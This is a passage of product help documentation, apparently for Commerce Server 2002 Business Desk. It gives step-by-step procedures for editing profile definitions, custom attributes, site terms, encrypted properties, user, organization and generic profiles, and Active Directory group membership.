The profile definition is saved with the new property. After you add a property to a profile definition, you must publish the changes on your Web site. For information about publishing your changes, see Publishing Profile Definition Changes on Your Web Site.


Mapping a Property to a Data Member

If you do not map the property to a data member, the property will not be stored in a database, but will be available in memory, for example to store state information while a user is visiting your Web site.

The data members available for the property are the data members that are not already used in the profile definition you are editing. Properties that are being used by the profile definition are unavailable. See Adding a New Property to a Profile definition for more information.

To map to data

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition that contains the property to which you want to add the custom attribute,
  3. Click the ellipsis […] button to open the Data Source Picker dialog box.
  4. In the Data Source Picker dialog box, select the data member for the property.


Adding Custom Attributes to a Profile Property

You use the Profile Definition Designer to add custom attributes to a profile property. You use custom attributes to define profile property characteristics that are not available in the existing attributes. For example, you can create custom attributes that provide property-level security or error handling information. For information about profile property attributes, see Profile Attributes.

You must set the sDisplayColumn and sFriendlyName custom attributes to edit a particular generic profile in the Profile Editor.

The sDisplayColumn custom attribute is used to specify the profile data that is displayed and is used to identify profiles on the Find screen of the Profile Editor module for a particular generic profile definition. The sFriendlyName custom attribute is used to specify the profile data that is displayed and is used to identify the profile being edited in the title bar of the Edit Profile screen of the Profile Editor module. You can use these custom attributes for any profile. For information about custom profile attributes, see Custom Profile Attributes.

Note

  • When a profile contains only one property that has an sDisplayColumn custom attribute defined, then by default, the profile display column is sorted in ascending order on that property.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To add the sDisplayColumn custom attribute

To add the sFriendlyName custom attribute

To add the sDisplayColumn custom attribute

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition that contains the property to which you want to add the custom attribute, and then click [image] on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, expand the group that contains the property to which you want to add a custom attribute, and then select the property.
  4. In the Custom Attributes section, click New, and then do the following:
    Use this | To do this
    Name Type sDisplayColumn.

    Note

    • This attribute is case-sensitive.
    Display name | Type Column Name.
    Description | Type a description of the attribute.
    Value Type the value of the attribute. The value of this column attribute determines the relative width of the column for the property in the Find screen.

    For example, if you set the value for the sDisplayColumn attribute for this property to 2, and the value of the sDisplayColumn attribute for another property to 4, the column for that property will be twice as wide as the column for this property.
  5. Click Accept.

    Note

    • You can repeat steps 4 and 5 to add as many custom attributes as you need for this property.
  6. To apply the new custom attribute to the selected property, click Apply.
  7. To save the profile definition with the new custom attribute and return to the Profiles screen, click Save and go back on the toolbar.

The profile definition is saved with the new sDisplayColumn custom attribute.

To add the sFriendlyName custom attribute

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition that contains the property to which you want to add a custom attribute, and then click [image] on the toolbar.
  3. In the Profile screen, in the Properties list, expand the group that contains the property to which you want to add the custom attribute, and then select the property.
  4. In the Custom Attributes section, click New, and then do the following:
    Use this | To do this
    Name Type sFriendlyName.

    Note

    This attribute is case-sensitive.

    Display name | Type Friendly name.
    Description | Type a description of the attribute.
    Value | The value of the sFriendlyName attribute is not used.
  5. Click Accept.

    Note

    • You can repeat steps 4 and 5 to add as many custom attributes as you need for this property.
  6. To apply the new custom attribute, click Apply.
  7. To save the profile definition with the new custom attribute and return to the Profiles screen, click Save and go back on the toolbar.

The profile definition is saved with the new custom attribute. A property with the sFriendlyName custom attribute is the first column displayed in the Find screen. If you add the sFriendlyName custom attribute to more than one property in the profile definition, the first property (in the Properties list on the Profile screen) used as the friendly name appears in the title bar of the Edit Profile screen.

After you make changes to a profile definition, you must publish the changes on your Web site. For information about publishing your changes, see Publishing Profile Definition Changes on Your Web Site.

See Also

Adding a Property Group to a Profile Definition

Adding a Property that Maps to a Site Term


Adding Demographic Properties to the User Object Profile Definition

The User Object profile definition is designed to collect data about users. You might need to update it to collect the specific information your organization requires. If your organization wants to use the Demographic segment and prediction analysis models provided with the Predictor resource, you must update the User Object profile definition to collect the demographic data required to build the Demographics model. The demographic data you collect can also be used to build the Combined Demographics and Transactions analysis model.

To collect demographic data on your Web site for use in the Demographic and Combined analysis models, perform the following steps:

  1. Decide how you are going to collect the data. Create any site terms you will need.
  2. Your system administrator creates a data member for each of the new demographic properties you will add to the User Object profile definition.
  3. Add the following properties to your User Object profile definition. If you are using site terms to collect the data, set the property type to site term, and set the type reference to the appropriate site term.

    The following table shows the user profile properties that the Demographic analysis models require.

    Property | Type
    User ID | Number or string
    Age | Number or string
    Occupation | Number or string
    Marital Status | Number or string
    Gender | Number or string
    Income | Number or string
    Education | Number or string
    Children | Number (of children)
    Family Role | Number or string
    Region | Number or string
  4. Map each of the demographic properties to the appropriate data member.
  5. Set each of the demographic properties as Exported to the Data Warehouse.
  6. Your site designer must update your Web site with the new profile properties.
  7. Determine how much data you will need to collect for the results to be meaningful.
  8. Your system administrator imports the demographic data into the Data Warehouse and builds the segment and prediction models.

If data collected with these properties is not in your user profiles, your system administrator will not be able to build the demographic analysis models. The properties can be either numbers or strings because predictive models look for correlations between data, and therefore do not distinguish between numbers and strings. Use single-valued site terms to facilitate and normalize user responses to the demographic properties. Site terms are stored as strings.

To add demographic properties to the User Object profile definition

  1. Your system administrator must add the following columns to the profile database, and create a data member for each one:
    • Age
    • Occupation
    • Marital Status
    • Gender
    • Income
    • Education
    • Children
    • Family Role
    • Region
  2. Use the Site Terms Editor module to create the following site terms:
    Site term | Site term values
    Age | 20-30; 30-40; 40-50; 50-60
    Occupation | President; Vice President; Manager; Administrative Assistant
    Marital Status | Married; Divorced; Single; Widowed
    Gender | Male; Female
    Income | $20,000-35,000; $35,000-60,000; $60,000-80,000
    Education | High School; College Graduate; Masters Degree; Doctorate Degree; Professional Degree
    Children | 1; 2; 3; 4; 5; 6
    Family Role | Employed; Student; Other
    Region | North; South; East; West
  3. Use the Profile Definition Designer module to add a property group to the User Object profile definition called Demographics.
  4. Use the Profile Definition Designer module to add the following properties to the Demographics property group:
    Property and type reference | Type
    Age | Site Term
    Occupation | Site Term
    Marital Status | Site Term
    Gender | Site Term
    Income | Site Term
    Education | Site Term
    Children | Site Term
    Family Role | Site Term
    Region | Site Term
  5. Map each of the new properties to the corresponding data members, and mark each property as exported to the Data Warehouse.
  6. Click Save and go back on the toolbar to save the new properties and return to the Profiles screen.
  7. Use the Publish Profiles module to publish your changes to your Web site.
  8. Your Web designer must add the new properties to your site Registration page.
  9. Your system administrator imports profile data into the Data Warehouse.
  10. Your system administrator uses the Predictor resource to build Demographic segment and prediction models.

After your system administrator has built the Demographic segment and prediction models, you use the Business Desk Analysis Segment Viewer module to view the Demographic segment model, and export the segment model to the List Manager as a list. In the Users module, you can search for the list, and then modify the profiles that exist in that list. .


Adding a Property that Maps to a Site Term

After you create a site term, you can add it to a profile definition. Site terms provide an easy way for you to standardize the values that are used throughout your site. After you create your site terms, you can set up a profile definition to include the site terms so you can later target an advertisement to those site users that match the profile definition. For information about site terms, see Site Terms.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To add a site term to a profile definition

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition that contains the property you want to edit, and then click Open on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, select the property to which you want to add the site term, and then click Add.

    Note

    • If the property is not visible in the Properties list, expand the property group that contains the property to which you want to add the site term, and then select the property.
  4. In the Add dialog box, select Add a new property, and then click OK.
  5. In the Attributes section, do the following:
    Use this | To do this
    Name | Type a programmatic name for the property. The name can contain a maximum of 128 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display name | Type a display name for the property. The display name can contain a maximum of 128 characters.
    Description | Type a description for the property.
    Type | Select Site Term from the Type drop-down list.
    Type reference | Click the ellipsis Ellipsis button to open the Site Term Selection dialog box.
  6. In the Site Term Selection dialog box, in the Select a Site Term list, expand the site term group that contains the site term you want to add to the property definition, and then select the site term. For information about creating a site term, see Creating a Site Term.
  7. Click OK.
  8. In the Advanced Attributes section, do the following:
    Do this | To do this
    Active | Specify whether the new property is Active or Inactive.
    Map to data Click the Ellipsis button to open the Data Source Picker dialog box.

    In the Data Source Picker dialog box, select the data member for the property. The data members available for the property are the data members that are not already used in the profile definition you are editing. Properties that are being used by the profile definition are unavailable.

    If you do not map the property to a data member, the property will not be stored in a database, but will be available in memory, for example to store state information while a user is visiting your Web site.

  9. Click Apply to apply the new site term to the profile definition and display it in the Properties list.
  10. To save the edited profile definition and return to the Profiles screen, click Save and go back on the toolbar.

The profile definition is saved. You must publish profile definition changes on your Web site. For information about publishing your changes, see Publishing Profile Definition Changes on Your Web Site.

See Also

Creating a Site Term

Adding Properties to a Profile Definition

Editing Profile Properties

Editing Site Terms


Adding Encrypted Properties to a Profile Definition

Commerce Server 2002 provides encryption features that allow you to secure data with encryption tools offering the highest level of security. There are two types of encryption supported by Commerce Server 2002: Asymmetric Encryption (AE), and One-Way Hashing. Commerce Server 2002 does not support symmetric encryption.

The following procedures are to add new profile properties that can be encrypted.

Caution

  • Do not mark properties with preexisting data as encryptable. Otherwise, the preexisting data will be lost.

To add a new property for key index

To add profile level custom attribute

To add encrypted properties to a profile

To add a new property for key index

It is recommended to create a new property under the Profiling system property group.

  1. Open Commerce Server Manager.
  2. Expand Commerce Server Manager, expand Global Resources, expand Profile Catalog, expand Profile Definitions, and then click User Object.
  3. In the right pane, click Profile System in the Properties list.
  4. Click Add.
  5. In the Add-Web Page dialog box, select Add a new property.
  6. Click OK.
  7. In the Attributes section, type the following:
    Use this | To do this
    Name | Type of name (for example, KeyIndex).
    Display Name | Type the name to be displayed (for example, KeyIndex).
    Description | Optional.
    Type | Select Number.
    Type Reference | N/A
  8. Click Advanced Attributes, and type the following:
    Use this | To do this
    Active | Clear Yes.
    Map to Data | Click the ellipsis button [...] to map this property to a data member of type Number.
  9. Click Apply, and then click Save.

To add profile level custom attribute

  1. Right-click your profile (for example, User Object) and select Properties.
  2. Click the Custom Attributes tab.
  3. Click New.
  4. In the Custom Attribute dialog box, type the following:
    Use this | To do this
    Name | Type KeyIndex.
    Display Name | Type the name to be displayed (for example, KeyIndex).
    Description | Type the description of the KeyIndex custom attribute.
    Value Type Key Index.

    This should be the same property name as the profile created in the earlier step, To add a new property for the key index.
  5. Click OK in the Custom Attribute dialog box.
  6. Click Apply in the User Object Properties dialog box, and then click OK.

To add encrypted properties to a profile

  1. Click Add in the right pane.
  2. In the Add-Web Page Dialog box, select Add a new property.
  3. Click OK.
  4. In the Attributes section, type the following:
    Use this | To do this
    Name | Type of property name.
    Display Name | Type name to be displayed.
    Description | Type the description of KeyIndex custom attribute.
    Type | Select Password or String.
  5. In the Advanced Attributes section, type the following:
    Use this | To do this
    Map to data | Click the ellipsis button [...] to map the property to a data member.
    Key type | Select as blank. Key type cannot be a UniqueKey, JoinKey, PrimaryKey, DualKey, or HashingKey.
    Encrypted | Select one of the encrypted types from the drop-down list (No Encryption, One Way Hash, or Asymmetric Encryption).
    Exported | Clear the Yes check box.
    Multi-valued | Optional.
    Searchable | Clear the Yes check box.
    Hashing Key | Clear the Yes check box.

    Note

    • In the Custom Attributes section, encrypted properties cannot be marked as displaycolumn or friendlyname (for use in the profile editors only).
    • You cannot create a custom attribute at the property level with a name of EncryptionType (case-insensitive).
  6. Click Apply, and then click Save.

For more information, see Managing Encrypted Profile Properties.


Embedding a Profile Definition

You can use the Profile Definition Designer module to create a relationship between two profile definitions by embedding one profile definition in another. This relationship is used to create profiles that are related to each other.

Using embedded profile definitions, you can:

  • Create a hierarchy of embedded profile definitions up to four levels. Your system administrator can increase the levels.
  • Add an unlimited number of properties with a type "profile" to a profile definition (limited by size of underlying data storage).
  • Define the embedded profile definitions as single-valued to collect only one profile, or multi-valued to collect unlimited profiles (limited only by system resources).

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To embed a profile definition

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition in which you want to embed a profile definition, and then click Open on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, select the property in which you want to embed the profile definition.

    Note

    • If the property is not visible in the Properties list, expand the property group that contains the property in which you want to embed the profile definition, and then select the property.
  4. In the Attributes section, select Profile from the Type drop-down list.
  5. In the Type Reference box, click the ellipsis button [...] to open the Profile Selection dialog box.
  6. In the Profile Selection dialog box, in the Select a Profile list, expand the Profile Catalog, and then select the profile definition you want to embed in the property.
  7. Click OK.
  8. To apply the embedded property, click Apply.
  9. To save the edited property and return to the Profiles screen, click Save and go back on the toolbar.

The edited profile definition is saved.

See Also

Profile Properties

Adding Properties to a Profile Definition

Editing Profile Properties

Embedding the Address Profile Definition

Adding a Property that Maps to a Site Term


Embedding the Address Profile Definition

You can add a Billing Address property to the User Object profile definition, and use it to embed the Address profile definiton. If you define the Billing Address property as single-valued, only one address profile can be created for each user. To embed an Address profile definition in the User Object profile definition to collect one billing address for each user, perform the following steps:

  1. Add a property to the User Object profile definition named Billing Address.
  2. Define the Billing Address property as a profile with the Type attribute.
  3. Select the Address profile definition as the Type Reference of the Billing Address property.
  4. Map the new Billing Address property to a data member of type string.
  5. Define the Billing Address property as single-valued to collect one billing address for each user.
  6. Define the Billing Address property as Exported so that the value of the property will be imported into the Data Warehouse with the user profile information.

The primary key of the profile containing the billing address information of the user will be stored in the Billing Address property of the user profile.

You use the Users module to edit the user profile. You can access the billing address profile for the user from the user profile. You can use the Users modules to access up to four layers of embedded profiles.


Publishing Profile Definition Changes on Your Web Site

You must publish profile definition changes before you can add data to new profile properties. You use the Publish Profiles module to update your Web site with your latest changes. In most e-commerce installations, these changes are first made to a test site, and then at a scheduled times, the changes are published to your production site. Contact your system administrator for information about when and how changes are made to your production site.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Notes

  • Publish profile changes to your Web site on off-peak hours. If you publish profile changes during a high usage time, you will bring down your site.

To publish profile changes

  1. In Profiles, click Publish Profiles.
  2. In the Publish Profiles screen, select the site to which you want to publish profile definition changes, and then click Publish profile changes to production and refresh the cache on the toolbar.

    Notes

    • If multiple Web servers serve your site, you must publish profile definition changes to each Web server.
    • To refresh the status list of servers, click Refresh on the toolbar. Resetting the refresh status does not reset or roll back changes that have been previously published.

Profile definition changes are published to your Web site.

See Also

Profile Definitions

Managing Profile Definitions


Adding a User Profile

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • Your New Profile screen might not contain the same properties that are shown in this procedure. The properties in the New Profile screen are determined by the User Object profile definition. If you have changed the properties in the User Object profile definition, those changes will be reflected in the New Profile screen. For information about changing the properties of a profile definition, see Managing Profile Definitions.

To add a new user

  1. In Profiles, click Users.
  2. In the User Object screen, click Add on the toolbar.
  3. In the New User Object screen, in the General information section, do the following:
    Use this | To do this
    Logon name | Type the logon name for the new user.
    User password | Type the password for the new user.
    E-mail | Type the e-mail address for the new user.
    User type | Select whether the new user is a Registered or an Anonymous user from the drop-down list. Typically, you will only create registered users.
    User title | Type the title for the new user, such as Mr. or Ms.
    Last name | Type the last name for the new user.
    First name | Type the first name for the new user.
    Telephone number | Type the telephone number for the new user.
    Telephone extension | Type the telephone number extension for the new user.
    Fax number | Type the fax machine telephone number for the new user.
    Fax extension | Type the fax machine telephone number extension for the new user.
    Default Language | Type the default language for the new user.
  4. In the Account Info section, do the following:
    Use this | To do this
    Organization ID From the drop-down list, specifiy if you want to Create a new profile or Insert an existing profile in the Organization ID property.

    If you select Create a new profile, the New Organization screen is displayed. For information about creating a new organization profile, see Adding an Organization Profile.

    If you select Insert an existing profile, the Organization screen is displayed. To embed the organization profile in the Organization ID property, select the existing organization from the Filtered View list, and then click Select on the toolbar. For information about finding an existing organization profile, see Finding an Organization Profile.
    Account status | From the drop-down list, specify whether the user has an Active Account or an Inactive Account. The default status is Active Account. Users with inactive accounts will not be able to log on to your site.
    User catalog set | From the drop-down list, select the catalog set you want the user to have access to.
    Date registered | From the drop-down calendar, select the date you register the new user.
  5. In the Partner Service section, do the following:
    Use this | To do this
    Partner service role flags | From the drop-down list, select Normal User or Administrator. The default role flag is Normal User. Administrator users are delegated administrators, and have extended access for their organization (for example, reviewing orders and creating user profiles) in sites that support delegated administrators.
  6. To save the new user profile and return to the User Object screen, click Save and go back on the toolbar.

The new user profile is saved.

See Also

About Profiles

Deleting User Profiles

Finding a User Profile

Adding an Organization Profile


Adding a Delegated Administrator

You use the Users module to add a user designated as the delegated administrator to log on to a SupplierAD site. Delegated administrators are administrator-level users and have extended access for their organization (for example, reviewing orders, and creating user profiles) in a site that supports delegated administrators.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • Your New Profile screen might not contain the same properties that are shown in this procedure. If you have changed the properties in the User Object profile definition, those changes appear in the New Profile screen. For information about changing the properties of a profile definition, see Managing Profile Definitions.

To add a delegated administrator

  1. In Profiles, click Users.
  2. In the User Object screen, click Add on the toolbar.
  3. In the New User Object screen, in the General information section, do the following:
    Use this | To do this
    Logon name | Type the logon name for the new delegated administrator.
    User password | Type the password for the new delegated administrator.
    E-mail | Type the e-mail address for the new delegated administrator.
    User type | Select Registered User from the drop-down list.
    User title | Type the title for the new delegated administrator, such as Mr. or Ms.
    Last name | Type the last name for the new delegated administrator.
    First name | Type the first name for the new delegated administrator.
    Telephone number | Type the telephone number for the new delegated administrator.
    Telephone extension | Type the telephone number extension for the new delegated administrator.
    Fax number | Type the fax number for the new delegated administrator.
    Fax extension | Type the fax number extension for the new delegated administrator.
    Default Language | Type the default language for the new delegated administrator.
  4. In the Account Info section, do the following:
    Use this | To do this
    Organization ID From the drop-down list, specifiy if you want to Create a new profile or Insert an existing profile in the Organization ID property.

    If you select Create a new profile, the New Organization screen is displayed. For information about creating a new organization profile, see Adding an Organization Profile.

    If you select Insert an existing profile, the Organization screen is displayed. To embed the organization profile in the Organization ID property, select the existing organization from the Filtered View list, and then click Select on the toolbar. For information about finding an existing organization profile, see Finding an Organization Profile.
    Account status | From the drop-down list, select Active Account. The default status is Active Account. Users with inactive accounts will not be able to log in on your site.
    User catalog set | From the drop-down list, select the catalog set you want the delegated administrator to have access to.
    Date registered | From the drop-down calendar, select the date you register the new delegated administrator.
  5. In the Partner Service section, do the following:
    Use this | To do this
    Partner service role flags | From the drop-down list, select Administrator. Delegated administrators are administrator-level users and have extended access for their organization (for example, reviewing orders and creating user profiles) in a site that supports delegated administrators.
  6. To save the new user profile and return to the User Object screen, click Save and go back on the toolbar.

The new delegated administrator profile is saved.

See Also

About Profiles

Finding a User Profile

Editing User Profiles

Adding an Organization Profile


Resetting a User Password

You use the Users module to reset passwords for registered users who have forgotten theirs. After you reset the password for the user, you must inform the user of the new password.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To reset a user password

  1. In Profiles, click Users.
  2. To display the profile for a particular user, in the User Object screen, use the Find pane. For information about finding a user profile, see Finding a User Profile.
  3. In the Filtered View list, select the profile for the user whose password you want to reset, and then click Open on the toolbar.

    In the Update Profile: <user profile> screen, in the General information section, in the User Password box, click the Ellipsis button.

  4. In the Password Reset dialog box, in the New Password box, type the new password, and then in the Confirm Password box, retype the new password.

    Note

    • Passwords must contain 7 to 14 alphanumeric characters. Passwords are case-sensitive and cannot contain spaces.
  5. To save the new password and return to the User Object screen, click Save and go back on the toolbar.

The user profile is saved with the new password. You must advise the user of the new password.


Adding an Organization Profile

You use the Organizations module to add organization profiles to your site. You can specify information for the organizations, such as their identification and contact information, and the catalog set that you are making available to them.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • Your New Organization screen might not contain the same properties that are shown in this procedure. If you have changed the properties in the Organization profile definition, those changes appear in the New Organization screen. For information about changing the properties of a profile definition, see Managing Profile Definitions.

To add an organization profile

  1. In Profiles, click Organizations.
  2. In the Organization screen, click Add on the toolbar.
  3. In the New Organization screen, in the General information section, do the following:
    Use this | To do this
    Name | Type the name of the organization. Organization names can be up to 53 alphanumeric characters long. The name can contain spaces.
    Trading partner number | Type the number of the organization or trading partner.
    Administrative Contact From the drop-down list, specify if you want to Create a new profile or Insert an existing profile in the Administrative Contact property.

    If you select Create a new profile, the New User Object screen is displayed. For information about creating a new user profile, see Adding a User Profile.

    If you select Insert an existing profile, the User Object screen is displayed. To embed the user profile in the Administrative Contact property, select the user from the Filtered View list, and then click Select on the toolbar. For information about finding a user, see Finding a User Profile.
    Receiver From the drop-down list, select the person to receive products shipped from the supplier for the organization. If the user is not in the drop-down list, specifiy if you want to Create a new profile or Insert an existing profile for the receiver of the new organization.

    If you select Create a new profile, the New User Object screen is displayed. For information about creating a new user profile, see Adding a User Profile.

    If you select Insert an existing profile, the User Object screen is displayed. To embed the user profile in the Receiver property, select the user from the Filtered View list, and then click Select on the toolbar. For information about finding a user, see Finding a User Profile.
    Organization catalog set | From the drop-down list, select the catalog set you want the organization to have access to.
  4. In the Purchasing section, do the following:
    Use this To do this
    Purchasing manager From the drop-down list, specifiy if you want to Create a new profile or Insert an existing profile in the Purchasing manager property.

    If you select Create a new profile, the New User Object screen is displayed. For information about creating a new user profile, see Adding a User Profile.

    If you select Insert an existing profile, the User Object screen is displayed. To embed the profile in the Purchasing manager property, select the user from the Filtered View list, and then click Select on the toolbar. For information about finding a user, see Finding a User Profile.
  5. To save the organization and return to the Organization screen, click Save and go back on the toolbar.

The organization profile is saved with a specified administrative contact, receiver, and purchasing manager.

See Also

About Profiles

Editing Organization Profiles

Finding an Organization Profile

Adding a User Profile

Finding a User Profile


Adding a Generic Profile

You use the Profile Editor module to add generic profiles for your site. A generic profile is created with any profile definition that is not the User Object profile definition or the Organizations profile definition.

To base a new profile on an existing generic profile definition, the profile definition must contain two custom attributes:

  • The sDisplayColumn attribute assigns a property as the heading for a column in the Find screen of the Profile Editor module.

    If the profile definition does not have an sDisplayColumn attribute, Commerce Server Business Desk cannot display the profiles created with that profile definition in the Find screen of the Profile Editor module, and you cannot edit the profiles.

  • The sFriendlyName attribute controls which property is displayed as the far left column in the Find screen of the Profile Editor module, and in the title bar of the Edit Profile: <friendlyname> screen of the Profile Editor module. For information about custom attributes and how to add them to a profile definition, see Adding Properties to a Profile Definition.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

The following procedure is based on the BlanketPOs profile definition.

Note

  • If you are using a profile definition other than the BlanketPOs definition, or if you have changed the properties in the BlanketPOs profile definition, your <profile definition> screen will not contain the same properties that are shown in this procedure. For information about changing the properties of a profile definition, see Managing Profile Definitions.

To add a generic profile

  1. In Profiles, click Profile Editor.
  2. In the Profiles screen, select the BlanketPOs profile definition, and then click Open on the toolbar.
  3. In the BlanketPOs screen, click Add on the toolbar.
  4. In the New BlanketPOs screen, do the following:
    Use this | To do this
    Organization ID From the drop-down list, specifiy if you want to Create a new profile or Insert an existing profile in the Organization ID property.

    If you select Create a new profile, the New Organization screen is displayed. For information about creating a new organization profile, see Adding an Organization Profile.

    If you select Insert an existing profile, the Organization screen is displayed. To embed the organization profile in the Organization ID property, select the existing organization from the Filtered View list, and then click Select on the toolbar. For information about finding an existing organization profile, see Finding an Organization Profile.
    PO Number | Type the number for the blanket purchase order.
    Description | Type the description for the blanket purchase order.
  5. Click Save and go back to save the profile and return to the <profile definition> screen for that profile.

The profile is saved. You use the find function to display the new profile in the Find screen. For information about finding a generic profile, see Finding a Generic Profile. You can add a new profile based on the same profile definition, or you can click Back to return to the Profiles screen and select a different type of profile definition from which to create a profile.

See Also

Editing Generic Profiles

Finding a Generic Profile

Deleting Generic Profiles


Adding Users to an Active Directory Group

Commerce Server Business Desk provides the Group Manager module for managing user membership in Active Directory groups. Your system administrator must base your site on the SupplierActiveDirectory Solution Site for you to have a Group Manager module in Business Desk.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To add a user to an Active Directory Group

Note

  • The Active Directory group to which you want to add a user must have a unique name across the Active Directory tree structure.
  1. In Profiles, click Group Manager.
  2. In the Find User or Group screen, in the Find pane, select the Users option.
  3. In the Search Filter box, type the name of the user you want to add. You can use a wildcard character (*) in the name.
  4. Click Find Now. If your search returns no results or more than 1,000 results, an error message appears. The results of a successful search are listed in the User Name box.
  5. Select the user you want to add to an Active Directory group, and then click Open on the toolbar.
  6. In the Manage User screen, in the Search Filter box, type the name of the Active Directory group to which you want to add the user. You can use wildcard characters (*).
  7. Click Find Now.
  8. In the Search Results list, select the specific Active Directory group to which you want to add the user, and then click Add Object on the toolbar to add the user and save the changes to the Active Directory group.
  9. The Groups that this user belongs to list displays all of the groups that the user currently belongs to.
  10. Click Back to return to the Find User or Group screen.

The new user has been added to the specified Active Directory group. You can add another new user or Active Directory group, or you can click a different module in Business Desk.


Adding Groups to an Active Directory Group

Commerce Server Business Desk provides the Group Manager module for managing user membership in Active Directory groups. Your system administrator must base your site on the SupplierActiveDirectory Solution Site for you to have a Group Manager module in Business Desk.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To add a group to an Active Directory Group

Note

  • The Active Directory group to which you want to add a group must have a unique name across the Active Directory tree structure.
  1. In Profiles, click Group Manager.
  2. In the Find User or Group screen, in the Find pane, select the Groups option.
  3. In the Search Filter box, type the name of the group you want to add. You can use a wildcard character (*) in the name.
  4. Click Find Now. If your search returns no results or more than 1,000 results, you will see an error message. The results of a successful search will appear in the dialog box.
  5. Select the group you want to add to an Active Directory group, and then click on the toolbar. Open
  6. In the Manage Group screen, in the Search Filter box, type the name of the Active Directory group to which you want to add the group. You can use a wildcard character (*).
  7. Click Find Now.
  8. In the Search Results list, select the specific Active Directory group to which you want to add the group, and then click Add Object on the toolbar to add the group and save the changes to the Active Directory group.
  9. The Objects that belong to this group list displays the Active Directory groups that the Active Directory group currently belongs to.
  10. Click Back to return to the Find User or Group screen.

The Active Directory group has been added to the specified Active Directory group. You can add a new user or Active Directory group, or you can click a different module in Business Desk.

See Also

Removing Users from Active Directory Groups


Managing Site Terms and Groups

You use the Site Terms Editor module to create and update site terms. You use site terms to standardize and restrict the choices available when you request user input, and you use them to target content to users. For example, you can limit the colors users can select when they choose their favorite color.

This section contains:

  • Editing Site Terms
  • Deleting a Term from a Site Term
  • Rearranging Site Terms
  • Deleting Site Terms


Editing Site Terms

You use the Site Terms Editor module to edit existing site terms and site term groups.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To edit a site term

  1. In Profiles, click Site Terms Editor.
  2. In the Site Terms Editor screen, select the site term that you want to edit.

    Note

    • If the site term is not visible in the Site term structure list, expand the site term group that contains the site term you want to edit, and then select the site term.
  3. In the Site Terms Attributes section, do the following:
    Use this | To do this
    Display name | Edit the display name of the site term. The display name can contain a maximum of 128 characters.
    Description | Edit the description of the site term.

    Note

    • You can change the display name of a site term; however, you cannot change the programmatic name of a site term. If you want to change the programmatic name of a site term, you must delete the site term, and then create a new site term with the name that you want to use.
  4. In the Terms section, select the term you want to edit, and then click Edit.
  5. Edit the term as needed, and then click Accept.

    Note

    • You can edit as many terms as you need. Click Edit to edit another term.
  6. To apply the changes to the site term, click Apply.
  7. To save the site term and return to the Business Desk screen, click Save and go back on the toolbar.

The site term is saved.

See Also

About Profiles

Creating a Site Term

Creating a Site Term Group

Adding a Property that Maps to a Site Term

Adding a Term to a Site Term


Deleting a Term from a Site Term

You use the Site Terms Editor module to delete terms. For example, you might delete "purple" from the Color site term.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To delete a term

  1. In Profiles, click Site Terms Editor.
  2. In the Site Terms Editor screen, select the site term from which you want to delete a term.

    Note

    • If the site term is not visible in the Site term structure list, expand the site term group that contains the site term you want to delete, and then select the site term.
  3. In the Terms section, select the term you want to delete from the Terms list, and then click Remove.

    The term is deleted from the Terms list.

  4. To apply the changes to the site term attributes, click Apply.
  5. To save the edited site term and return to the Business Desk screen, click Save and go back on the toolbar.

The edited site term is saved.

See Also

About Profiles

Creating a Site Term

Creating a Site Term Group


Rearranging Site Terms

You use the Site Terms Editor module to organize your site terms and site term groups. You can move site terms and groups up and down in the Site term structure list to better organize them. You can change which group a site term belongs to by moving the site term between groups. For information about site term structure and site term hierarchy, see Creating a Site Term Group.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To move a site term

  1. In Profiles, click Site Terms Editor.
  2. In the Site Terms Editor screen, select the site term or site term group you want to move.

    Note

    • If the site term is not visible in the Site term structure list, expand the site term group that contains the site term you want to move, and then select the site term.
  3. Click the Up or Down buttons below the Site term structure list to move the site term or group to a new location.
  4. To save your changes and return to the Business Desk screen, click Save and go back on the toolbar.

The new site term structure is saved.

See Also

About Profiles

Creating a Site Term

Creating a Site Term Group


Deleting Site Terms

You use the Site Terms Editor module to delete site terms and site term groups.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To delete a site term

  1. In Profiles, click Site Terms Editor.
  2. In the Site Terms Editor screen, select the term or group you want to delete and click Remove.
  3. In the Delete dialog box, click OK to delete the site term.

    Caution

    • If you delete a site term group, all site terms within that group are also deleted.
  4. To save your changes and return to the Business Desk screen, click Save and go back on the toolbar.

See Also

About Profiles

Creating a Site Term

Creating a Site Term Group


Managing Profile Definitions

You use the Profile Definition Designer module to move, edit, and delete profile properties. As your need for user and organization information changes, you can edit the existing profile definitions to meet your new requirements.

This section contains:

  • Moving Profile Properties
